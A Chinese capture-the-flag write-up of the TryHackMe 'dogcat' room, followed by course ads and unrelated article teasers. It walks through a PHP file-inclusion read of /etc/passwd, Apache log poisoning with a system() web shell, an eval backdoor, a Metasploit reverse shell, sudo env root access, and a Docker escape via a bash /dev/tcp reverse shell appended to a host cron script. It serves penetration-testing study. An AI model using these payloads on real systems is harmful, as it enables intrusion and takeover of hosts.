【Tryhackme】dogcat(LFI+文件解析漏洞,Docker逃逸)

news2024/11/29 2:52:28

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务发现

┌──(root💀kali)-[~/tryhackme]
└─#nmap -sV -Pn 10.10.228.190 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-23 01:40 EDT
Nmap scan report for 10.10.108.119
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp openssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp openhttpApache httpd 2.4.38 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.93 seconds 

目录爆破,只有cat和dog两个已知文件夹,各有10张图片

┌──(root💀kali)-[~/dirsearch]
└─#python3 dirsearch.py -u "http://10.10.108.119" -w /usr/share/wordlists/Web-Content/directory-list-2.3-medium.txt -e* -t 100

 _|. _ ____ _|_v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 220521

Error Log: /root/dirsearch/logs/errors-21-09-23_01-46-47.log

Target: http://10.10.108.119

[01:46:48] Starting: 
[01:46:49] 200 -418B- /
[01:47:04] 301 -311B- /cats->http://10.10.108.119/cats/
[01:47:10] 301 -311B- /dogs->http://10.10.108.119/dogs/
[01:52:19] 403 -277B- /server-status 

经分析验证首页view参数存在一个LFI,并且构造参数一定要包含cat或者dog,否则会显示Sorry, only dogs or cats are allowed. 并且文件后缀添加了.php,我们估计源代码大概是这样的

$dir = $_GET["view"] .'.php';
include($dir); 

构造payload /?view=php://filter/read=convert.base64-encode/resource=./cat/../index

得到index.php的源码base64字符串

PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdHlsZS5jc3MiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxoMT5kb2djYXQ8L2gxPgogICAgPGk+YSBnYWxsZXJ5IG9mIHZhcmlvdXMgZG9ncyBvciBjYXRzPC9pPgoKICAgIDxkaXY+CiAgICAgICAgPGgyPldoYXQgd291bGQgeW91IGxpa2UgdG8gc2VlPzwvaDI+CiAgICAgICAgPGEgaHJlZj0iLz92aWV3PWRvZyI+PGJ1dHRvbiBpZD0iZG9nIj5BIGRvZzwvYnV0dG9uPjwvYT4gPGEgaHJlZj0iLz92aWV3PWNhdCI+PGJ1dHRvbiBpZD0iY2F0Ij5BIGNhdDwvYnV0dG9uPjwvYT48YnI+CiAgICAgICAgPD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gY29udGFpbnNTdHIoJHN0ciwgJHN1YnN0cikgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cnBvcygkc3RyLCAkc3Vic3RyKSAhPT0gZmFsc2U7CiAgICAgICAgICAgIH0KCSAgICAkZXh0ID0gaXNzZXQoJF9HRVRbImV4dCJdKSA/ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3RyKCRfR0VUWyd2aWV3J10sICdkb2cnKSB8fCBjb250YWluc1N0cigkX0dFVFsndmlldyddLCAnY2F0JykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICdIZXJlIHlvdSBnbyEnOwogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUgJF9HRVRbJ3ZpZXcnXSAuICRleHQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NvcnJ5LCBvbmx5IGRvZ3Mgb3IgY2F0cyBhcmUgYWxsb3dlZC4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvZGl2Pgo8L2JvZHk+Cgo8L2h0bWw+Cg== 

解密后

<!DOCTYPE HTML>
<html>

<head><title>dogcat</title><link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body><h1>dogcat</h1><i>a gallery of various dogs or cats</i><div><h2>What would you like to see?</h2><a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br><?phpfunction containsStr($str, $substr) {return strpos($str, $substr) !== false;}$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';if(isset($_GET['view'])) {if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {echo 'Here you go!';include $_GET['view'] . $ext;} else {echo 'Sorry, only dogs or cats are allowed.';}}?></div>
</body>

</html> 

源码分析

大概与我们猜想的一致,需要留意 $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';这行代码,文件后缀其实是可以指定的,不指定默认是.php

构造参数读取/etc/passwd文件 http://10.10.108.119/?view=php://filter/read=convert.base64-encode/resource=./cat/../../../../etc/passwd&ext=&

解密为

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 

居然没有普通用户

找到access.log路径

?view=php://filter/read=convert.base64-encode/resource=./cat/../../../../var/log/apache2/access.log&ext=& 

base64decode完后查看log记录

127.0.0.1 - - [03/Nov/2021:08:42:41 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [03/Nov/2021:08:43:15 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [03/Nov/2021:08:43:52 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.13.21.169 - - [03/Nov/2021:08:44:01 +0000] "GET /?view=php://filter/read=convert.base64-encode/resource=./cat/../../../../etc/passwd&ext=& HTTP/1.1" 200 1071 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.13.21.169 - - [03/Nov/2021:08:44:01 +0000] "GET /style.css HTTP/1.1" 200 662 "http://10.10.108.119/?view=php://filter/read=convert.base64-encode/resource=./cat/../../../../etc/passwd&ext=&" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.13.21.169 - - [03/Nov/2021:08:44:02 +0000] "GET /favicon.ico HTTP/1.1" 404 455 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" 

由记录可见,记录了url和user-agent,我们打开burpsuite,把下面代码放到user-agent,验证是否存在文件解析漏洞 <?php phpinfo(); ?> 点击页面触发,可以显示php版本信息,证明漏洞存在 ?view=./cat/../../../../var/log/apache2/access.log&ext=&

getshell

这里我试了很多方法也反弹不了shell,于是我把下面的脚本作为一个简单的websdll写进了日志

<?php system($_GET['cmd']);?> 

burosuite上为:

GET /?view=./cat/../../../../var/log/apache2/access.log&ext=&cmd=ls HTTP/1.1
Host: 10.10.228.190
User-Agent: "<?php system($_GET['cmd']);?>"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0 

这个时候就可以通过cmd的传参执行命令

/?view=./cat/../../../../var/log/apache2/access.log&ext=&cmd=whoami 

在这里我依然反弹不了shell,只好通过一个比较绕的方法拿到稳定的webshell

用下面的payload把一句话木马写进服务器

/?view=./cat/../../../../var/log/apache2/access.log&ext=&cmd=echo '<?php @eval($_POST[c]);?>' >%20 /var/www/html/shell.php

打开msf,选择中国菜刀,填好相关配置信息

msf6 exploit(multi/http/caidao_php_backdoor_exec) > options

Module options (exploit/multi/http/caidao_php_backdoor_exec): Name Current SettingRequiredDescription ---- ---------------------------------- PASSWORD cyes The password of backdoor Proxies noA proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.108.119yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT80 yes The target port (TCP) SSLfalsenoNegotiate SSL/TLS for outgoing connections TARGETURI/shell.php yes The path of backdoor VHOST noHTTP server virtual host


Payload options (php/meterpreter/reverse_tcp): Name Current SettingRequiredDescription ---- ---------------------------------- LHOSTtun0 yes The listen address (an interface may be specified) LPORT4444 yes The listen port 

拿到webshell

msf6 exploit(multi/http/caidao_php_backdoor_exec) > run

[*] Started reverse TCP handler on 10.13.21.169:4444 
[*] Sending exploit...
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/caidao_php_backdoor_exec) > run

[*] Started reverse TCP handler on 10.13.21.169:4444 
[*] Sending exploit...
[*] Sending stage (39282 bytes) to 10.10.108.119
[*] Meterpreter session 1 opened (10.13.21.169:4444 -> 10.10.108.119:48230) at 2021-11-03 08:20:09 -0400

meterpreter > shell
Process 179 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data) 

/var/www/html找到flag1

/var/www找到flag2

提权

/bin/sh -i切换成tty

查看当前用户超级权限

$ sudo -l
Matching Defaults entries for www-data on 679ddf26d89f:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 679ddf26d89f:(root) NOPASSWD: /usr/bin/env 

发现可以直接使用env提权

直接提权到root

$ sudo /usr/bin/env /bin/sh
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root 

全局查找flag相关文件: find / -name *flag*/root/flag3.txt找到flag3

在系统里查找所有文件里包含flag字样的文件: find / |xargs grep -ri 'flag' -l

发现一个可疑的文件 /opt/backups/backup.tar

解压出来以后发现是一个docker的container,也就是说这个系统是在docker里面的

Docker逃逸

我们之所以找不到flag4,是因为我们是在docker里面,这个时候需要利用docker逃逸到宿主机

关于Docker逃逸,推荐参考这篇文章

/opt/backups应该是宿主机和Docker机器的共享文件夹 查看/opt/backups下的backup.sh文件,猜测这个脚本会被宿主机定时执行

# cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container 

我们把下面的命令追加到backup.sh文件: echo 'bash -i >& /dev/tcp/10.13.21.169/4455 0>&1' >> backup.sh

另起一个端口,等待大约一分钟,收到宿主机的反弹shell,拿到flag4:

┌──(root💀kali)-[~/tryhackme/dogcat]
└─# nc -lnvp 4455
listening on [any] 4455 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.108.119] 47114
bash: cannot set terminal process group (15772): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
ls
container
flag4.txt 

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/85303.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CentOS7.4安装教程

CentOS7.4安装教程&#xff1a; centos系统自行网上查找链接下载&#xff0c;我使用的是最小安装版本&#xff0c;搞服务器用 1、进入操作系统&#xff0c;选择第一项进行安装&#xff1a; 2、耐心等待&#xff0c;直到弹出这个界面&#xff1a; 3、下拉选择中文&#xf…

磷脂-荧光素标记DSPE-FITC磷脂改性荧光素

磷脂-荧光素标记DSPE-FITC磷脂改性荧光素 中文名称&#xff1a;荧光素标记二硬脂酰磷脂酰乙醇胺 中文别称&#xff1a;磷脂-荧光素标记&#xff1b;二硬脂酰磷脂酰乙醇胺改性荧光素 英文名称&#xff1a;18:0 PE Fluorescein 英文别称&#xff1a;DSPE-FITC 外观&#xff1a…

开发人员的绝佳生产力工具

介绍 从长远来看&#xff0c;每天工作 8 小时对您没有帮助&#xff0c;但利用这些来最大化产出肯定会让您受益。这就是为什么生产力是最重要的事情之一。 今天&#xff0c;我们将学习一些很棒的工具&#xff0c;它们可以提高您的工作效率。除非并且直到您将这些工具集成到您的…

【Lilishop商城】No3-7.模块详细设计,订单模块-1(购物车、收银台)的详细设计

仅涉及后端&#xff0c;全部目录看顶部专栏&#xff0c;代码、文档、接口路径在&#xff1a; 【Lilishop商城】记录一下B2B2C商城系统学习笔记~_清晨敲代码的博客-CSDN博客 全篇会结合业务介绍重点设计逻辑&#xff0c;其中重点包括接口类、业务类&#xff0c;具体的结合源代…

【TECH SCIENCE PRESS出版社】2区SCI,仅3个月左右录用,数字孪生、绿色技术、供应链、人工智能物联网、智能传感器相关领域均可

【出版社】TECH SCIENCE PRESS 【期刊简介】IF&#xff1a;3.5-4.0&#xff0c;JCR2区&#xff0c;中科院3区 【检索情况】SCI&EI双检&#xff0c;正刊 【参考周期】3个月左右 【征稿领域】 ①数字孪生在智能医疗系统中的应用&#xff08;2023.3.25截稿&#xff09; …

NetInside助力IT提高业务性能管理能力(一)

需求简介 某外高桥公司的OA系统是其重要的业务系统&#xff0c;OA系统负责人表示&#xff0c;部分用户反馈&#xff0c;访问OA系统时比较慢。需要通过分析系统看一下实际情况。 信息部已对企业领导定义了独立的组&#xff0c;本次要主动分析领导们的使用体验快慢。如果OA系统…

一个带详细程序和注释的实例,手把手带你学会用BP神经网络做预测

目录 1.问题描述 1.1问题剖析 2.实现程序 2.1运行结果 2.3总结 3.预测 3.1输出结果 4.预测理解 1.问题描述 某运输系统连续9年货运量的有关数据如表2-10所示。根据对关于货运量影响因素的分析&#xff0c;这里分别取国内生产总值GDP、工业总产值、铁路运输线路长度、复线…

使用vue-easytable实现仿excel表格,支持可编辑、添加删除行、虚拟表格等功能

使用npm安装vue-easytable npm install --save vue-easytable 在 main.js 中写入以下内容&#xff1a; // 引入样式 import "vue-easytable/libs/theme-default/index.css"; // 引入组件库 import VueEasytable from "vue-easytable"; Vue.use(VueEasyt…

ADI Blackfin DSP处理器-BF533的开发详解49:图像处理专题-Bright (图像亮暗处理)(含源码)

硬件准备 ADSP-EDU-BF533&#xff1a;BF533开发板 AD-HP530ICE&#xff1a;ADI DSP仿真器 软件准备 Visual DSP软件 硬件链接 功能介绍 代码实现了图像亮暗处理&#xff0c;代码运行时&#xff0c;会通过文件系统打开工程文件根目下" …/ImageView"路径中的 tes…

[附源码]Node.js计算机毕业设计电子市场计算机配件报价系统Express

项目运行 环境配置&#xff1a; Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术&#xff1a; Express框架 Node.js Vue 等等组成&#xff0c;B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境&#xff1a;最好是Nodejs最新版&#xff0c;我…

聚焦人机交互智能应用领域,APISIX 在希沃网关的应用与实践

分享嘉宾简海清&#xff0c;视源股份运维负责人。 视源股份&#xff08;CVTE&#xff09;自成立以来&#xff0c;依托在音视频技术、人机交互、应用开发、系统集成等电子产品领域的软硬件技术积累&#xff0c;建立了教育数字化工具及服务提供商希沃&#xff08;seewo&#xff0…

三、JavaScript——编写位置

1.在script标签内编写 JS的代码一般可以写到script标签中&#xff0c;script标签的完整写法是要加type"text/javascript",但这个一般可以省略&#xff0c;所以只用<script>即可 <!DOCTYPE html> <html lang"en"> <head><meta …

【架构师李肯】带你走进架构师的一天

作者简介 *架构师李肯&#xff08;全网同名&#xff09;**&#xff0c;一个专注于嵌入式IoT领域的架构师。有着近10年的嵌入式一线开发经验&#xff0c;深耕IoT领域多年&#xff0c;熟知IoT领域的业务发展&#xff0c;深度掌握IoT领域的相关技术栈&#xff0c;包括但不限于主流…

js逆向之加密方法远程调用

js逆向之加密方法远程调用 加密方法的远程调用主要是使用了RPC协议,RPC(Remote Procedure Call)是远程调用的意思。RPC的应用十分广泛,比如在分布式中的进程间通信、微服务中的节点通信。 我们这里使用的rpc其实是实现两个不同进程通信的一种方式,比如在浏览器执行一些方…

SystemUI 调整Recents中全部清除按钮位置

Recents 即多任务界面&#xff0c;显示最近使用过的APP List的。下面内容都是基于Android 11平台修改的。Android 11上&#xff0c;Recents 这一部分代码其实都已经被挪到Launcher3中。由于个人习惯&#xff0c;所以将内容分类作为SystemUI部分记录。 多任务界面主要几个文件&…

工欲善其事,必先利其器,推荐5款效率神器

有句老话这样讲&#xff0c;工欲善其事&#xff0c;必先利其器&#xff0c;好的工具可以让你工作起来事半功倍。 1.全能翻译神器——智能翻译官 这是一款超级强大的翻译软件&#xff0c;什么文本、图片、文档&#xff0c;视频、音频&#xff0c;统统都可以翻&#xff0c;像我…

JAVA毕业设计——基于Springboot+vue的音乐网站系统(源代码+数据库)

github代码地址 https://github.com/ynwynw/music-server-public 毕业设计所有选题地址 https://github.com/ynwynw/allProject 基于Springbootvue的音乐网站系统(源代码数据库)046 一、系统介绍 本项目分为管理员与普通用户两种角色 管理员角色包含以下功能&#xff1a; …

绿色固体ICG-DBCO,凯新生物聚甲基菁染料,仅用于科学研究或者工业应用等非医疗目的,不可用于人类或动物的临床或诊断,非药用,非食用

【外观以及性质】&#xff1a; ICG-DBCO绿色固体&#xff0c;ICG是一种带负电荷的聚甲基菁染料&#xff08;三碳菁染料&#xff09;具有良好的水溶性&#xff0c;其次花菁染料毒性&#xff0c;安全性更好及更的光稳定性。 【试剂物理数据】&#xff1a; 货号&#xff1a;Y-R…

Java面试题(六)腾讯Spring夺命7连问(灵魂拷问)

腾讯面试题&#xff1a;Spring1.谈一谈spring IOC的理解&#xff0c;原理与实现&#xff1f;2.谈一谈Spring IOC的底层实现&#xff1f;3.描述下Bean的生命周期4.Spring如何解决循环依赖问题&#xff1f;5.BeanFactory 和FactoryBean有什么区别&#xff1f;6.Spring 中用到哪些…

ELK日志系统搭建

文章目录ES安装ES启动ES错误处理验证Kibana安装Kibana启动 KibanaLogstash安装Logstash启动Logstash项目整合引入依赖logback-spring.xml启动项目在Kibana中查看链接&#xff1a;点击 提取码&#xff1a;yyds ES 安装ES cat >> /etc/sysctl.conf<<- EOF net.ipv…